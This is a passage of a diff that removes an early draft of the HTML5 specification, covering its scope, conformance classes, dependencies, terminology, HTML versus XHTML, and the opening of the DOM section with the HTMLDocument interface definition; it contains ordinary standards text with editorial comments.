-   language and associated semantic-level scripting APIs for authoring
-   accessible pages on the Web ranging from static documents to dynamic
-   applications.
-
-  <p>The scope of this specification does not include addressing presentation
-   concerns (although default rendering rules for Web browsers are included
-   at the end of this specification).
-
-  <p>The scope of this specification does not include documenting every HTML
-   or DOM feature supported by Web browsers. Browsers support many features
-   that are considered to be very bad for accessibility or that are otherwise
-   inappropriate. For example, the <code>blink</code> element is clearly
-   presentational and authors wishing to cause text to blink should instead
-   use CSS.
-
-  <p>The scope of this specification is not to describe an entire operating
-   system. In particular, hardware configuration software, image manipulation
-   tools, and applications that users would be expected to use with high-end
-   workstations on a daily basis are out of scope. In terms of applications,
-   this specification is targetted specifically at applications that would be
-   expected to be used by users on an occasional basis, or regularly but from
-   disparate locations, with low CPU requirements. For instance online
-   purchasing systems, searching systems, games (especially multiplayer
-   online games), public telephone books or address books, communications
-   software (e-mail clients, instant messaging clients, discussion software),
-   document editing software, etc.
-
-  <p>For sophisticated cross-platform applications, there already exist
-   several proprietary solutions (such as Mozilla's XUL and Macromedia's
-   Flash). These solutions are evolving faster than any standards process
-   could follow, and the requirements are evolving even faster. These systems
-   are also significantly more complicated to specify, and are orders of
-   magnitude more difficult to achieve interoperability with, than the
-   solutions described in this document. Platform-specific solutions for such
-   sophisticated applications (for example the MacOS X Core APIs) are even
-   further ahead.
-
-  <h3 id=structure><span class=secno>1.2. </span>Structure of this
-   specification</h3>
-
-  <p><em>This section is non-normative.</em>
-
-  <p>This specification is divided into five key parts:
-
-  <dl>
-   <dt><a href="#dom">The DOM</a>
-
-   <dd>The DOM, or Document Object Model, provides a base for the rest of the
-    specification.
-
-   <dt><a href="#semantics">The Semantics</a>
-
-   <dd>Documents are built from elements. These elements form a tree using
-    the DOM. Each element also has a predefined meaning, which is explained
-    in this section. User agent requirements for how to handle each element
-    are also given, along with rules for authors on how to use the element.
-
-   <dt><a href="#processing-models">The Processing Models</a>
-
-   <dd>In addition to the rules for each element, there are rules for
-    handling features that cover multiple elements. These are defined in the
-    processing models section, so that the whole feature can be defined in
-    one place instead of being split across the definitions for multiple
-    elements.
-
-   <dt><a href="#apis">The High-Level APIs</a>
-
-   <dd>Certain extensions to the DOM provide APIs for interacting with the
-    user. Three sections, covering <a href="#apis">the browser
-    enviroment</a>, <a href="#editing">editing</a>, and <a
-    href="#comms">communication</a>, define these high-level APIs.
-
-   <dt><a href="#syntax">The Language Syntax</a>
-
-   <dd>All of these features would be for naught if they couldn't be
-    represented in a serialised form and sent to other people, and so this
-    section defines the syntax of HTML, along with rules for how to parse
-    HTML.
-  </dl>
-
-  <p>There are also a couple of appendices, defining <a
-   href="#rendering">rendering rules</a> for Web browsers, and listing <a
-   href="#no">areas that are out of scope</a> for this specification.
-
-  <h4 id=how-to><span class=secno>1.2.1. </span>How to read this
-   specification</h4>
-
-  <p>This specification should be read like all other specifications. First,
-   it should be read cover-to-cover, multiple times. Then, it should be read
-   backwards at least once. Then it should be read by picking random sections
-   from the contents list and following all the cross-references.
-
-  <h3 id=conformance><span class=secno>1.3. </span>Conformance requirements</h3>
-
-  <p>All diagrams, examples, and notes in this specification are
-   non-normative, as are all sections explicitly marked non-normative.
-   Everything else in this specification is normative.
-
-  <p>The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT",
-   "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in the
-   normative parts of this document are to be interpreted as described in
-   RFC2119. For readability, these words do not appear in all uppercase
-   letters in this specification. <a href="#refsRFC2119">[RFC2119]</a></p>
-  <!-- XXX but they should be marked up -->
-
-  <p>This specification describes the conformance criteria for user agents
-   (relevant to implementors) and documents (relevant to authors and
-   authoring tool implementors).
-
-  <p class=note>There is no implied relationship between document conformance
-   requirements and implementation conformance requirements. User agents are
-   not free to handle non-conformant documents as they please; the processing
-   model described in this specification applies to implementations
-   regardless of the conformity of the input documents.</p>
-  <!--XXX quite possible that
-  this is stated twice. check for whether this is a dupe. -->
-
-  <p>User agents fall into several (overlapping) categories with different
-   conformance requirements.
-
-  <dl>
-   <dt id=interactive>Web browsers and other interactive user agents
-
-   <dd>
-    <p>Web browsers that support <a href="#xhtml5">XHTML</a> must process
-     elements and attributes from the <a href="#html-namespace0">HTML
-     namespace</a> found in <a href="#xml-documents">XML documents</a> as
-     described in this specification, so that users can interact with them,
-     unless the semantics of those elements have been overridden by other
-     specifications.</p>
-
-    <p class=example>A conforming XHTML processor would, upon finding an
-     XHTML <code><a href="#script2">script</a></code> element in an XML
-     document, execute the script contained in that element. However, if the
-     element is found within an XSLT transformation sheet (assuming the UA
-     also supports XSLT), then the processor would instead treat the <code><a
-     href="#script2">script</a></code> element as an opaque element that
-     forms part of the transform.</p>
-
-    <p>Web browsers that support <a href="#html5" title=HTML5>HTML</a> must
-     process documents labelled as <code>text/html</code> as described in
-     this specification, so that users can interact with them.</p>
-
-   <dt id=non-interactive>Non-interactive presentation user agents
-
-   <dd>
-    <p>User agents that process HTML and XHTML documents purely to render
-     non-interactive versions of them must comply to the same conformance
-     criteria as Web browsers, except that they are exempt from requirements
-     regarding user interaction.</p>
-
-    <p class=note>Typical examples of non-interactive presentation user
-     agents are printers (static UAs) and overhead displays (dynamic UAs). It
-     is expected that most static non-interactive presentation user agents
-     will also opt to <a href="#non-scripted">lack scripting support</a>.</p>
-
-    <p class=example>A non-interactive but dynamic presentation UA would
-     still execute scripts, allowing forms to be dynamically submitted, and
-     so forth. However, since the concept of "focus" is irrelevant when the
-     user cannot interact with the document, the UA would not need to support
-     any of the focus-related DOM APIs.</p>
-
-   <dt><dfn id=non-scripted>User agents with no scripting support</dfn>
-
-   <dd>
-    <p>Implementations that do not support scripting (or which have their
-     scripting features <a href="#scripting1" title="scripting is
-     disabled">disabled</a>) are exempt from supporting the events and DOM
-     interfaces mentioned in this specification. For the parts of this
-     specification that are defined in terms of an events model or in terms
-     of the DOM, such user agents must still act as if events and the DOM
-     were supported.</p>
-
-    <p class=note>Scripting can form an integral part of an application. Web
-     browsers that do not support scripting, or that have scripting disabled,
-     might be unable to fully convey the author's intent.</p>
-
-   <dt>Conformance checkers
-
-   <dd id=conformance-checkers>
-    <p>Conformance checkers must verify that a document conforms to the
-     applicable conformance criteria described in this specification.
-     Conformance checkers are exempt from detecting errors that require
-     interpretation of the author's intent (for example, while a document is
-     non-conforming if the content of a <code><a
-     href="#blockquote0">blockquote</a></code> element is not a quote,
-     conformance checkers do not have to check that <code><a
-     href="#blockquote0">blockquote</a></code> elements only contain quoted
-     material).</p>
-
-    <p>Conformance checkers must check that the input document conforms when
-     <a href="#scripting1">scripting is disabled</a>, and should also check
-     that the input document conforms when <a href="#scripting2">scripting is
-     enabled</a>. (This is only a "SHOULD" and not a "MUST" requirement
-     because it has been proven to be impossible. <a
-     href="#refsHALTINGPROBLEM">[HALTINGPROBLEM]</a>)</p>
-    <!-- XXX
-    http://en.wikipedia.org/wiki/Halting_problem but I'd rather
-    reference Godel's original paper if someone can find the
-    ref... -->
-    
-    <div class=note>
-     <p>The term "validation" specifically refers to a subset of conformance
-      checking that only verifies that a document complies with the
-      requirements given by an SGML or XML DTD. Conformance checkers that
-      only perform validation are non-conforming, as there are many
-      conformance requirements described in this specification that cannot be
-      checked by SGML or XML DTDs.</p>
-
-     <p>To put it another way, there are three types of conformance criteria:</p>
-
-     <ol>
-      <li>Criteria that can be expressed in a DTD.
-
-      <li>Criteria that cannot be expressed by a DTD, but can still be
-       checked by a machine.
-
-      <li>Criteria that can only be checked by a human.
-     </ol>
-
-     <p>A conformance checker must check for the first two. A simple
-      DTD-based validator only checks for the first class of errors and is
-      therefore not a conforming conformance checker according to this
-      specification.</p>
-    </div>
-
-   <dt>Data mining tools
-
-   <dd id=data-mining>
-    <p>Applications and tools that process HTML and XHTML documents for
-     reasons other than to either render the documents or check them for
-     conformance should act in accordance to the semantics of the documents
-     that they process.</p>
-
-    <p class=example>A tool that generates <span title="sections and
-     headings">document outlines</span> but increases the nesting level for
-     each paragraph and does not increase the nesting level for each section
-     would not be conforming.</p>
-
-   <dt id=editors>Authoring tools and markup generators
-
-   <dd>
-    <p>Authoring tools and markup generators must generate conforming
-     documents. Conformance criteria that apply to authors also apply to
-     authoring tools, where appropriate.</p>
-
-    <p class=big-issue>This needs expanding (see source).</p>
-    <!--
-> The requirement that authoring tools must generate conforming documents
-> should probably also make the distinction between the three types of
-> conformance requirements made in the section on conformance tools.  I
-> would say that authoring tools must generate documents that conform to
-> the first two requirements and should encourage their users to generate
-> documents that conform to the third.  I'd also allow an exception for
-> preservation of nonconformant content across editing operations, since
-> in editors often should not change content unrelated to what is being
-> edited.
-
-I've noted this in the markup for now. I need to take a much closer look
-at the conformance requirements for editors; in particular I've been
-talking to a number of people who implement HTML editors and their
-unanimous feedback is that it is unrealistic to prevent them from
-including presentational markup, because the state of the art in UI does
-not yet have a way of conveying "semantics" in a comprehensive way.
-
-Thus the conformance criteria for editors will probably be changed to
-allow them to include <font> markup while still defining such documents to
-be non-conformant HTML5 documents.
-
-Or something. Like I said, this needs thought (feel free to mail ideas
-and suggestions on this to the list, btw).
-
--->
-    
-  </dl>
-
-  <p>Some conformance requirements are phrased as requirements on elements,
-   attributes, methods or objects. Such requirements fall into two
-   categories; those describing content model restrictions, and those
-   describing implementation behaviour. The former category of requirements
-   are requirements on documents and authoring tools. The second category are
-   requirements on user agents.
-
-  <p>Conformance requirements phrased as algorithms or specific steps may be
-   implemented in any manner, so long as the end result is equivalent. (In
-   particular, the algorithms defined in this specification are intended to
-   be easy to follow, and not intended to be performant.)
-
-  <p id=hardwareLimitations>User agents may impose implementation-specific
-   limits on otherwise unconstrained inputs, e.g. to prevent denial of
-   service attacks, to guard against running out of memory, or to work around
-   platform-specific limitations.
-
-  <p>For compatibility with existing content and prior specifications, this
-   specification describes two authoring formats: one based on XML (referred
-   to as <dfn id=xhtml5 title=XHTML>XHTML5</dfn>), and one using a <a
-   href="#parsing">custom format</a> inspired by SGML (referred to as <dfn
-   id=html5>HTML5</dfn>). Implementations may support only one of these two
-   formats, although supporting both is encouraged.
-
-  <p id=authors-using-xhtml><a href="#xhtml5">XHTML</a> documents (<a
-   href="#xml-documents">XML documents</a> using elements from the <a
-   href="#html-namespace0">HTML namespace</a>) that use the new features
-   described in this specification and that are served over the wire (e.g. by
-   HTTP) must be sent using an XML MIME type such as
-   <code>application/xml</code> or <code>application/xhtml+xml</code> and
-   must not be served as <code>text/html</code>. <a
-   href="#refsRFC3023">[RFC3023]</a>
-
-  <p>Such XML documents may contain a <code>DOCTYPE</code> if desired, but
-   this is not required to conform to this specification.
-
-  <p id=authors-using-html><a href="#html-">HTML documents</a>, if they are
-   served over the wire (e.g. by HTTP) must be labelled with the
-   <code>text/html</code> MIME type.</p>
-  <!-- XXX update RFC 2854 -->
-
-  <p id=entity-references>The language in this specification assumes that the
-   user agent expands all entity references, and therefore does not include
-   entity reference nodes in the DOM. If user agents do include entity
-   reference nodes in the DOM, then user agents must handle them as if they
-   were fully expanded when implementing this specification. For example, if
-   a requirement talks about an element's child text nodes, then any text
-   nodes that are children of an entity reference that is a child of that
-   element would be used as well.</p>
-  <!-- XXX unexpandable entities? -->
-
-  <p class=big-issue>A lot of arrays/lists/<span>collection</span>s in this
-   spec assume zero-based indexes but use the term "<var
-   title="">index</var>th" liberally. We should define those to be zero-based
-   and be clearer about this.
-
-  <h4 id=dependencies><span class=secno>1.3.1. </span>Dependencies</h4>
-
-  <p>This specification relies on several other underlying specifications.
-
-  <dl>
-   <dt>XML
-
-   <dd>
-    <p>Implementations that support XHTML5 must support some version of XML,
-     as well as its corresponding namespaces specification, because XHTML5
-     uses an XML serialisation with namespaces. <a href="#refsXML">[XML]</a>
-     <a href="#refsXMLNAMES">[XMLNAMES]</a></p>
-
-   <dt>XML Base
-
-   <dd>
-    <p id=xmlBase>User agents must follow the rules given by XML Base to
-     resolve relative URIs in HTML and XHTML fragments, because that is the
-     mechanism used in this specification for resolving relative URIs in DOM
-     trees. <a href="#refsXMLBASE">[XMLBASE]</a></p>
-
-    <p class=note>It is possible for <code>xml:base</code> attributes to be
-     present even in HTML fragments, as such attributes can be added
-     dynamically using script.</p>
-
-   <dt>DOM
-
-   <dd>
-    <p>Implementations must support some version of DOM Core and DOM Events,
-     because this specification is defined in terms of the DOM, and some of
-     the features are defined as extensions to the DOM Core interfaces. <a
-     href="#refsDOM3CORE">[DOM3CORE]</a> <a
-     href="#refsDOM3CORE">[DOM3EVENTS]</a></p>
-
-    <p>Implementations must support some version of the Window Object,
-     because this specification extends this interface to provide some of its
-     features. <a href="#refsWINDOW">[WINDOW]</a></p>
-
-   <dt>ECMAScript
-
-   <dd>
-    <p>Implementations that use ECMAScript to implement the APIs defined in
-     this specification must implement them in a manner consistent with the
-     ECMAScript Bindings for DOM Specifications specification, as this
-     specification uses that specification's terminology. <a
-     href="#refsEBFD">[EBFD]</a></p>
-  </dl>
-
-  <p>This specification does not require support of any particular network
-   transport protocols, image formats, audio formats, video formats, style
-   sheet language, scripting language, or any of the DOM and WebAPI
-   specifications beyond those described above. However, the language
-   described by this specification is biased towards CSS as the styling
-   language, ECMAScript as the scripting language, and HTTP as the network
-   protocol, and several features assume that those languages and protocols
-   are in use.
-
-  <h4 id=features><span class=secno>1.3.2. </span>Features defined in other
-   specifications</h4>
-
-  <p>Some elements are defined in terms of their DOM <dfn
-   id=textcontent><code>textContent</code></dfn> attribute. This is an
-   attribute defined on the <code>Node</code> interface in DOM3 Core. <a
-   href="#refsDOM3CORE">[DOM3CORE]</a>
-
-  <p class=big-issue>Should textContent be defined differently for dir="" and
-   AMPERSANDlt;bdo>? Should we come up with an alternative to textContent that
-   handles those and other things, like alt=""?</p>
-  <!-- This section is currently here exclusively so that we crossref
-  to textContent. XXX also add event-click, event-change,
-  event-DOMActivate, etc, here, and just have the section be a general
-  "defined in other specifications" section -->
-
-  <p>The terms <dfn id=browsing>browsing context</dfn> and <dfn
-   id=top-level>top-level browsing context</dfn> are used as defined in the
-   Window Object specification. <a href="#refsWINDOW">[WINDOW]</a>
-
-  <h4 id=relationship><span class=secno>1.3.3. </span>Relationship to HTML
-   4.01, XHTML 1.1, DOM2 HTML</h4>
-
-  <p><em>This section is non-normative.</em>
-
-  <p>This specification represents a new version of HTML4 and XHTML1, along
-   with a new version of the associated DOM2 HTML API. Migration from HTML4
-   or XHTML1 to the format and APIs described in this specification should in
-   most cases be straightforward, as care has been taken to ensure that
-   backwards-compatibility is retained.</p>
-  <!-- XXX refs -->
-
-  <p>This specification will eventually supplant Web Forms 2.0 as well. <a
-   href="#refsWF2">[WF2]</a>
-
-  <h4 id=relationship0><span class=secno>1.3.4. </span>Relationship to XHTML2</h4>
-
-  <p><em>This section is non-normative.</em>
-
-  <p>XHTML2 <a href="#refsXHTML2">[XHTML2]</a> defines a new HTML vocabulary
-   with better features for hyperlinks, multimedia content, annotating
-   document edits, rich metadata, declarative interactive forms, and
-   describing the semantics of human literary works such as poems and
-   scientific papers.
-
-  <p>However, it lacks elements to express the semantics of many of the
-   non-document types of content often seen on the Web. For instance, forum
-   sites, auction sites, search engines, online shops, and the like, do not
-   fit the document metaphor well, and are not covered by XHTML2.
-
-  <p><em>This</em> specification aims to extend HTML so that it is also
-   suitable in these contexts.
-
-  <p>XHTML2 and this specification use different namespaces and therefore can
-   both be implemented in the same XML processor.
-
-  <h4 id=relationship1><span class=secno>1.3.5. </span>Relationship to XUL,
-   WPF/XAML, and other proprietary UI languages</h4>
-
-  <p><em>This section is non-normative.</em>
-
-  <p>This specification is independent of the various proprietary UI
-   languages that various vendors provide.</p>
-  <!-- XXX flesh this out? -->
-
-  <h3 id=terminology><span class=secno>1.4. </span>Terminology</h3>
-
-  <p>This specification refers to both HTML and XML attributes and DOM
-   attributes, often in the same context. When it is not clear which is being
-   referred to, they are referred to as <dfn id=content>content
-   attributes</dfn> for HTML and XML attributes, and <dfn
-   id=dom-attributes>DOM attributes</dfn> for those from the DOM. Similarly,
-   the term "properties" is used for both ECMAScript object properties and
-   CSS properties. When these are ambiguous they are qualified as object
-   properties and CSS properties respectively.
-
-  <p id=html-namespace>To ease migration from HTML to XHTML, UAs conforming
-   to this specification will place elements in HTML in the
-   <code>http://www.w3.org/1999/xhtml</code> namespace, at least for the
-   purposes of the DOM and CSS. The term "<dfn id=elements1>elements in the
-   HTML namespace</dfn>", or "<dfn id=html-elements>HTML elements</dfn>" for
-   short, when used in this specification, thus refers to both HTML and XHTML
-   elements.
-
-  <p>Unless otherwise stated, all elements defined or mentioned in this
-   specification are in the <code>http://www.w3.org/1999/xhtml</code>
-   namespace, and all attributes defined or mentioned in this specification
-   have no namespace (they are in the per-element partition).
-
-  <p>The term <a href="#html-">HTML documents</a> is sometimes used in
-   contrast with <a href="#xml-documents">XML documents</a> to mean
-   specifically documents that were parsed using an <a href="#html-0">HTML
-   parser</a> (as opposed to using an XML parser or created purely through
-   the DOM).
-
-  <p>Generally, when the specification states that a feature applies to HTML
-   or XHTML, it also includes the other. When a feature specifically only
-   applies to one of the two languages, it is called out by explicitly
-   stating that it does not apply to the other format, as in "for HTML, ...
-   (this does not apply to XHTML)".
-
-  <p>This specification uses the term <em>document</em> to refer to any use
-   of HTML, ranging from short static documents to long essays or reports
-   with rich multimedia, as well as to fully-fledged interactive
-   applications.
-
-  <p>For readability, the term URI is used to refer to both ASCII URIs and
-   Unicode IRIs, as those terms are defined by <a
-   href="#refsRFC3986">[RFC3986]</a> and <a href="#refsRFC3987">[RFC3987]</a>
-   respectively. On the rare occasions where IRIs are not allowed but ASCII
-   URIs are, this is called out explicitly.
-
-  <p>The term <dfn id=root-element>root element</dfn>, when not qualified to
-   explicitly refer to the document's root element, means the furthest
-   ancestor element node of whatever node is being discussed, or the node
-   itself is there is none. When the node is a part of the document, then
-   that is indeed the document's root element. However, if the node is not
-   currently part of the document tree, the root element will be an orphaned
-   node.
-
-  <p>An element is said to have been <dfn id=inserted title="insert an
-   element into a document">inserted into a document</dfn> when its <a
-   href="#root-element">root element</a> changes and is now the document's <a
-   href="#root-element">root element</a>.
-
-  <p>The term <dfn id=tree-order>tree order</dfn> means a pre-order,
-   depth-first traversal of DOM nodes involved (through the <code
-   title="">parentNode</code>/<code title="">childNodes</code> relationship).
-
-  <p>When it is stated that some element or attribute is <dfn id=ignored
-   title=ignore>ignored</dfn>, or treated as some other value, or handled as
-   if it was something else, this refers only to the processing of the node
-   after it is in the DOM. A user agent must not mutate the DOM in such
-   situations.
-
-  <p>When an XML name, such as an attribute or element name, is referred to
-   in the form <code><var title="">prefix</var>:<var
-   title="">localName</var></code>, as in <code>xml:id</code> or
-   <code>svg:rect</code>, it refers to a name with the local name <var
-   title="">localName</var> and the namespace given by the prefix, as defined
-   by the following table:
-
-  <dl>
-   <dt><code title="">xml</code>
-
-   <dd><code>http://www.w3.org/XML/1998/namespace</code>
-
-   <dt><code title="">html</code>
-
-   <dd><code>http://www.w3.org/1999/xhtml</code>
-
-   <dt><code title="">svg</code>
-
-   <dd><code>http://www.w3.org/2000/svg</code>
-  </dl>
-
-  <p>For simplicity, terms such as <em>shown</em>, <em>displayed</em>, and
-   <em>visible</em> might sometimes be used when referring to the way a
-   document is rendered to the user. These terms are not meant to imply a
-   visual medium; they must be considered to apply to other media in
-   equivalent ways.
-
-  <p>Various DOM interfaces are defined in this specification using
-   pseudo-IDL. This looks like OMG IDL but isn't. For instance, method
-   overloading is used, and types from the W3C DOM specifications are used
-   without qualification. Language-specific bindings for these abstract
-   interface definitions must be derived in the way consistent with W3C DOM
-   specifications. Some interface-specific binding information for ECMAScript
-   is included in this specification.
-
-  <p class=big-issue>The current situation with IDL blocks is pitiful. IDL is
-   totally inadequate to properly represent what objects have to look like in
-   JS; IDL can't say if a member is enumerable, what the indexing behaviour
-   is, what the stringification behaviour is, what behaviour setting a member
-   whose type is a particular interface should be (e.g. setting of
-   document.location or element.className), what constructor an object
-   implementing an interface should claim to have, how overloads work, etc. I
-   think we should make the IDL blocks non-normative, and/or replace them
-   with something else that is better for JS while still being clear on how
-   it applies to other languages. However, we do need to have something that
-   says what types the methods take as arguments, since we have to raise
-   exceptions if they are wrong.
-
-  <p>The construction "a <code>Foo</code> object", where <code>Foo</code> is
-   actually an interface, is sometimes used instead of the more accurate "an
-   object implementing the interface <code>Foo</code>".
-
-  <p>A DOM attribute is said to be <em>getting</em> when its value is being
-   retrieved (e.g. by author script), and is said to be <em>setting</em> when
-   a new value is assigned to it.
-
-  <p>If a DOM object is said to be <dfn id=live>live</dfn>, then that means
-   that any attributes returning that object must always return the same
-   object (not a new object each time), and the attributes and methods on
-   that object must operate on the actual underlying data, not a snapshot of
-   the data.</p>
-  <!-- XXX should define "same instance of" to mean JS===. -->
-
-  <p>The terms <em>fire</em> and <em>dispatch</em> are used interchangeably
-   in the context of events, as in the DOM Events specifications. <a
-   href="#refsDOM3EVENTS">[DOM3EVENTS]</a>
-
-  <p>The term <dfn id=text-node>text node</dfn> refers to any
-   <code>Text</code> node, including <code>CDATASection</code> nodes (any
-   <code>Node</code> with node type 3 or 4).
-
-  <p>Some of the algorithms in this specification, for historical reasons,
-   require the user agent to <dfn id=pause>pause</dfn> until some condition
-   has been met. While a user agent is paused, it must ensure that no scripts
-   execute (e.g. no event handlers, no timers, etc). User agents should
-   remain responsive to user input while paused, however.
-
-  <h4 id=html-vs><span class=secno>1.4.1. </span>HTML vs XHTML</h4>
-
-  <p><em>This section is non-normative.</em>
-
-  <p>This specification defines an abstract language for describing documents
-   and applications, and some APIs for interacting with in-memory
-   representations of resources that use this language.
-
-  <p>The in-memory representation is known as "DOM5 HTML", or "the DOM" for
-   short.
-
-  <p>There are various concrete syntaxes that can be used to transmit
-   resources that use this abstract language, two of which are defined in
-   this specification.
-
-  <p>The first such concrete syntax is "HTML5". This is the format
-   recommended for most authors. It is compatible with all legacy Web
-   browsers. If a document is transmitted with the MIME type <code
-   title="">text/html</code>, then it will be processed as an "HTML5"
-   document by Web browsers.
-
-  <p>The second concrete syntax uses XML, and is known as "XHTML5". When a
-   document is transmitted with an XML MIME type, such as <code
-   title="">application/xhtml+xml</code>, then it is processed by an XML
-   processor by Web browsers, and treated as an "XHTML5" document. Generally
-   speaking, authors are discouraged from trying to use XML on the Web,
-   because XML has much stricter syntax rules than the "HTML5" variant
-   described above, and is relatively newer and therefore less mature.
-
-  <p>The "DOM5 HTML", "HTML5", and "XHTML5" representations cannot all
-   represent the same content. For example, namespaces cannot be represented
-   using "HTML5", but they are supported in "DOM5 HTML" and "XHTML5".
-   Similarly, documents that use the <code><a
-   href="#noscript0">noscript</a></code> feature can be represented using
-   "HTML5", but cannot be represented with "XHTML5" and "DOM5 HTML". Comments
-   that contain the string "<code title="">--AMPERSANDgt;</code>" can be represented
-   in "DOM5 HTML" but not in "HTML5" and "XHTML5". And so forth.
-
-  <h2 id=dom><span class=secno>2. </span>The Document Object Model</h2>
-
-  <p>The Document Object Model (DOM) is a representation AMPERSANDmdash; a model
-   AMPERSANDmdash; of a document and its content. <a
-   href="#refsDOM3CORE">[DOM3CORE]</a> The DOM is not just an API; the
-   conformance criteria of HTML implementations are defined, in this
-   specification, in terms of operations on the DOM.
-
-  <p>This specification defines the language represented in the DOM by
-   features together called DOM5 HTML. DOM5 HTML consists of DOM Core
-   <code>Document</code> nodes and DOM Core <code>Element</code> nodes, along
-   with text nodes and other content.
-
-  <p>Elements in the DOM represent things; that is, they have intrinsic
-   <em>meaning</em>, also known as semantics.
-
-  <p class=example>For example, a <code><a href="#p0">p</a></code> element
-   represents a paragraph.
-
-  <p>In addition, documents and elements in the DOM host APIs that extend the
-   DOM Core APIs, providing new features to application developers using DOM5
-   HTML.
-
-  <h3 id=documents><span class=secno>2.1. </span>Documents</h3>
-
-  <p>Every XML and HTML document in an HTML UA is represented by a
-   <code>Document</code> object. <a href="#refsDOM3CORE">[DOM3CORE]</a>
-
-  <p><code>Document</code> objects are assumed to be <dfn
-   id=xml-documents>XML documents</dfn> unless they are flagged as being <dfn
-   id=html->HTML documents</dfn> when they are created. Whether a document is
-   an <a href="#html-" title="HTML documents">HTML document</a> or an <a
-   href="#xml-documents" title="XML documents">XML document</a> affects the
-   behaviour of certain APIs, as well as a few CSS rendering rules. <a
-   href="#refsCSS21">[CSS21]</a>
-
-  <p class=note>A <code>Document</code> object created by the <code
-   title="">createDocument()</code> API on the <code>DOMImplementation</code>
-   object is initially an <a href="#xml-documents" title="XML documents">XML
-   document</a>, but can be made into an <a href="#html-" title="HTML
-   documents">HTML document</a> by calling <code title=dom-document-open><a
-   href="#open">document.open()</a></code> on it.
-
-  <p>All <code>Document</code> objects (in user agents implementing this
-   specification) must also implement the <code><a
-   href="#htmldocument">HTMLDocument</a></code> interface, available using
-   binding-specific methods. (This is the case whether or not the document in
-   question is an <a href="#html-" title="HTML documents">HTML document</a>
-   or indeed whether it contains any <a href="#html-elements">HTML
-   elements</a> at all.) <code>Document</code> objects must also implement
-   the document-level interface of any other namespaces found in the document
-   that the UA supports. For example, if an HTML implementation also supports
-   SVG, then the <code>Document</code> object must implement <code><a
-   href="#htmldocument">HTMLDocument</a></code> and <code>SVGDocument</code>.
-
-  <p class=note>Because the <code><a
-   href="#htmldocument">HTMLDocument</a></code> interface is now obtained
-   using binding-specific casting methods instead of simply being the primary
-   interface of the document object, it is no longer defined as inheriting
-   from <code>Document</code>.
-
-  <pre class=idl>interface <dfn id=htmldocument>HTMLDocument</dfn> {
-  // <a href="#resource1">Resource metadata management</a>
-  readonly attribute DOMString <a href="#url" title=dom-document-URL>URL</a>;
-           attribute DOMString <a href="#domain" title=dom-document-domain>domain</a>;
-  readonly attribute DOMString <a href="#referrer" title=dom-document-referrer>referrer</a>;
-           attribute DOMString <a href="#cookie0" title=dom-document-cookie>cookie</a>;
-
-  // <a href="#dom-tree1">DOM tree accessors</a>
-           attribute DOMString <a href="#document.title" title=dom-document-title>title</a>;
-           attribute <a href="#htmlelement">HTMLElement</a> <a href="#body0" title=dom-document-body>body</a>;
-  readonly attribute <a href="#htmlcollection0">HTMLCollection</a> <a href="#images0" title=dom-document-images>images</a>;
-<!--  readonly attribute <span>HTMLCollection</span> <span title="dom-document-applets">applets</span>;
--->  readonly attribute <a href="#htmlcollection0">HTMLCollection</a> <a href="#links0" title=dom-document-links>links</a>;
-  readonly attribute <a href="#htmlcollection0">HTMLCollection</a> <a href="#forms0" title=dom-document-forms>forms</a>;
-  readonly attribute <a href="#htmlcollection0">HTMLCollection</a> <a href="#anchors" title=dom-document-anchors>anchors</a>;
-  NodeList <a href="#getelementsbyname" title=dom-document-getElementsByName>getElementsByName</a>(in DOMString elementName);
-  NodeList <a href="#getelementsbyclassname" title=dom-document-getElementsByClassName>getElementsByClassName</a>(in DOMString[] classNames);
-
-  // <a href="#dynamic3">Dynamic markup insertion</a>
-           attribute DOMString <a href="#innerhtml" title=dom-innerHTML>innerHTML</a>;
-  void <a href="#open" title=dom-document-open>open</a>();
-  void <a href="#open" title=dom-document-open>open</a>(in DOMString type);
-  void <a href="#open" title=dom-document-open>open</a>(in DOMString type, in DOMString replace);
-  void <a href="#open" title=dom-document-open>open</a>(in DOMString url, in DOMString name, in DOMString features);
-  void <a href="#open" title=dom-document-open>open</a>(in DOMString url, in DOMString name, in DOMString features, in bool replace);
-  void <a href="#close" title=dom-document-close>close</a>();
-  void <a href="#document.write" title=dom-document-write>write</a>(in DOMString text);
-  void <a href="#document.writeln" title=dom-document-writeln>writeln</a>(in DOMString text);
-
-  // <a href="#interaction2">Interaction</a>
-  readonly attribute <span>Element</span> <a href="#activeelement" title=dom-document-activeElement>activeElement</a>;
-  readonly attribute boolean <a href="#hasfocus" title=dom-document-hasFocus>hasFocus</a>;
-
-  // <a href="#command2" title=concept-command>Commands</a>
-  readonly attribute <a href="#htmlcollection0">HTMLCollection</a> <a href="#commands0" title=dom-document-commands>commands</a>;
-
-  // <a href="#editing1">Editing</a>
-           attribute boolean <a href="#designmode" title=dom-document-designMode>designMode</a>;
-  boolean <a href="#execcommand" title=dom-document-execCommand>execCommand</a>(in DOMString commandID);
-  boolean <a href="#execcommand" title=dom-document-execCommand>execCommand</a>(in DOMString commandID, in boolean doShowUI);
-  boolean <a href="#execcommand" title=dom-document-execCommand>execCommand</a>(in DOMString commandID, in boolean doShowUI, in DOMString value);
-  <a href="#selection1">Selection</a> <a href="#getselection0" title=dom-document-getSelection>getSelection</a>();
-
-  // <a href="#cross-document0">Cross-document messaging</a>
-  void <a href="#postmessage" title=dom-document-postMessage>postMessage</a>(in DOMString message);
-
-  <span title=big-issue>// lots of other stuff to come</span><!--
- --><!-- XXX see e.g. http://lxr.mozilla.org/seamonkey/source/dom/public/idl/html/nsIDOMNSHTMLDocument.idl
- --><!-- XXX see e.g. http://trac.webkit.org/projects/webkit/browser/trunk/WebCore/dom/Document.cpp
- --><!-- XXX see e.g. http://trac.webkit.org/projects/webkit/browser/trunk/WebCore/html/HTMLDocument.cpp
- -->
-};</pre>
-
-  <p class=note>This specification requires that implementations also
-   implement some version of the Window object specification, so all <code><a
-   href="#htmldocument">HTMLDocument</a></code> objects also implement the
-   <code>DocumentWindow</code> object and thus the <code>DocumentView</code>
-   object.
-
-  <p>Since the <code><a href="#htmldocument">HTMLDocument</a></code>
-   interface holds methods and attributes related to a number of disparate
-   features, the members of this interface are described in various different
-   sections.
-
-  <h4 id=resource><span class=secno>2.1.1. </span><dfn id=resource1>Resource
-   metadata management</dfn></h4>
-
-  <p>The <dfn id=url title=dom-document-URL><code>URL</code></dfn> attribute
-   must return the <span>the document's address</span><!--
-  XXX xref -->.
-
-  <p>The <dfn id=domain title=dom-document-domain><code>domain</code></dfn>
-   attribute must be initialised to <span>the document's
